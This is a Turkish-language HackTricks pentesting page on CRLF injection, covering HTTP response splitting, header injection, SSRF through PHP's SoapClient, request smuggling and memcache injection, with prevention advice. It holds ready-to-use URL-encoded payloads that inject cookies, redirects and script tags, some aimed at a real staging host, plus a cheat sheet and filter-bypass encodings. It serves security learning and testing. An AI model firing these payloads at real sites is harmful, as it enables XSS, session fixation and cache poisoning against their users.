hacktricks/pentesting-web/crlf-0d-0a.md

16 KiB
Raw Blame History

CRLF (%0D%0A) Enjeksiyonu

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Ödül avcılığı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium ödül avcılığı platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

Taşıma Dönüşü (CR) ve Satır Beslemesi (LF), toplu olarak CRLF olarak bilinen özel karakter dizileridir ve HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılır. Web sunucuları ve tarayıcılar, HTTP başlıklarını ve yanıtın gövdesini ayırt etmek için CRLF'yi kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türleri arasında HTTP/1.1 iletişiminde evrensel olarak kullanılır.

CRLF Enjeksiyonu Zafiyeti

CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yanıltır. Bu karakterler zararlı değildir ancak yanlış kullanımları HTTP yanıtı bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir.

Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu

Örnek buradan

Yönetici panelindeki bir günlük dosyasını düşünün ve formatın IP - Zaman - Ziyaret Edilen Yol olduğunu varsayalım. Tipik bir giriş şöyle görünebilir:

123.123.123.123 - 08:15 - /index.php?page=home

Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonundan yararlanabilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini uydurabilir. Örneğin, enjekte edilen bir dizi günlük girişini şu şekilde dönüştürebilir:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

İşte, %0d ve %0a CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırı sonrası, günlük yanıltıcı bir şekilde görüntülenir:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Saldırgan, kötü niyetli faaliyetlerini, sunucu ortamında genellikle güvenilen bir varlık olan localhost'un eylemlerini gerçekleştirmiş gibi göstererek gizler. Sunucu, sorgunun %0d%0a ile başlayan kısmını tek bir parametre olarak yorumlar, restrictedaction parametresi ise ayrı bir giriş olarak ayrıştırılır. Manipüle edilen sorgu, meşru bir yönetici komutunu taklit eder şekilde etkili bir şekilde oluşturulur: /index.php?page=home&restrictedaction=edit

HTTP Yanıt Bölünmesi

ıklama

HTTP Yanıt Bölünmesi, bir saldırganın HTTP yanıtlarının yapısını istismar ettiğinde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlık ve gövdeyi belirli bir karakter dizisi olan Taşıma Dönüşü (CR) ve Satır Beslemesi (LF) tarafından ayrıştırır ve genel olarak CRLF olarak adlandırılır. Bir saldırgan bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyonlar ciddi güvenlik sorunlarına, özellikle de Cross-site Scripting (XSS) sorunlarına yol açabilir.

HTTP Yanıt Bölünmesi Aracılığıyla XSS

  1. Uygulama, X-Custom-Header: UserInput gibi özel bir başlık ayarlar.
  2. Uygulama, UserInput için değeri bir sorgu parametresinden alır, diyelim ki "user_input". Doğru giriş doğrulama ve kodlama olmayan senaryolarda, bir saldırgan CRLF dizisini ve kötü amaçlı içeriği içeren bir yük oluşturabilir.
  3. Bir saldırgan, özel olarak oluşturulmuş 'user_input' içeren bir URL oluşturur: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • Bu URL'de %0d%0a%0d%0a, CRLFCRLF'nin URL kodlanmış biçimidir. Sunucuyu CRLF dizisi eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar.
  1. Sunucu, saldırganın girdisini yanıt başlığında yansıtır, bu da kötü amaçlı betiğin tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanmasına neden olur.

Yönlendirmeye Neden Olan HTTP Yanıt Bölünmesi Örneği

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Tarayıcıya:

/%0d%0aLocation:%20http://myweb.com

Ve sunucu şu başlıkla yanıt verir:

Location: http://myweb.com

Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL Yolu İçinde

Sunucudan gelen yanıtı kontrol etmek için URL yolunun içine yük paylaşımı gönderebilirsiniz (örnek buradan):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Daha fazla örnek için şuraya bakın:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP Başlık Enjeksiyonu

HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma Dönüşü ve Satır Beslemesi) enjeksiyonu aracılığıyla istismar edilir ve saldırganlara HTTP başlıkları eklemelerine olanak tanır. Bu, XSS (Çapraz Site Komut Dosyası) filtreleri veya SOP (Aynı Köken Politikası) gibi güvenlik mekanizmalarını zayıflatabilir ve CSRF belirteçleri gibi hassas verilere yetkisiz erişime veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir.

HTTP Başlık Enjeksiyonu Aracılığıyla CORS'un Sömürülmesi

Bir saldırgan, CORS'u (Çapraz Köken Kaynak Paylaşımı) etkinleştirmek için HTTP başlıklarını enjekte edebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü amaçlı kökenlerden gelen betiklerin farklı bir kökenden kaynaklarla etkileşime girmesine olanak tanır ve korunan verilere erişebilir.

SSRF ve CRLF Aracılığıyla HTTP İsteği Enjeksiyonu

CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu, PHP'nin SoapClient sınıfındaki zafiyetin belirgin bir örneğidir, özellikle user_agent parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

İstek Smuggling için Başlık Enjeksiyonu

Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağa bakın.

Başlangıç isteğine cevap verdikten sonra arka uç bağlantısının açık kalmasını sağlamak için gerekli başlıkları enjekte edebilirsiniz:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Sömürü:

  1. Kötü Amaçlı Önek Enjeksiyonu: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerirken kötü amaçlı bir önek belirtme işlemidir. Buna bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Tepki Kuyruğu Zehirleme için Önek Oluşturma: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturan bir önek oluşturmayı içerirken son ekstra verilerle birleştirildiğinde. Bu, tepki kuyruğu zehirlemesini tetikleyebilir. Bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Enjeksiyonu

Memcache, açık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Tam bilgi için orijinal yazıya bakın

Bir platform, bir HTTP isteğinden veri alıp bunu temizlemeden bir memcache sunucusuna istekler yapmak için kullandığında, bir saldırgan bu davranışı yeni memcache komutları enjekte etmek için kötüye kullanabilir.

Örneğin, orijinal keşfedilen zayıflıkta, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve bağlantı noktasını döndürmek için kullanıldı ve saldırganlar, önbelleği zehirlemek için memcache komutları enjekte edebildiler ve kurbanın ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına göndermelerini sağladılar:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Dahası, araştırmacılar ayrıca memcache yanıtlarını desenkronize edebileceklerini ve saldırganın bilmediği kullanıcıların IP ve bağlantı noktalarını saldırganlara gönderebileceklerini keşfettiler:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Nasıl Önlenir

Web uygulamalarında CRLF (Taşıma Dönüşü ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir:

  1. Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır.
  2. Özel Karakterleri Kodlayın: Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma Dönüşü) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamak için ayrılmış bir işlev kullanmaya dikkat edin. Bu uygulama, CRLF enjeksiyonu olasılığını önler.
  3. Programlama Dili Güncellemesi: Web uygulamalarında kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin.

HİLE KODU

Buradan hile kodu

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Otomatik Araçlar

Kaba Kuvvet Tespiti Listesi

Referanslar

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: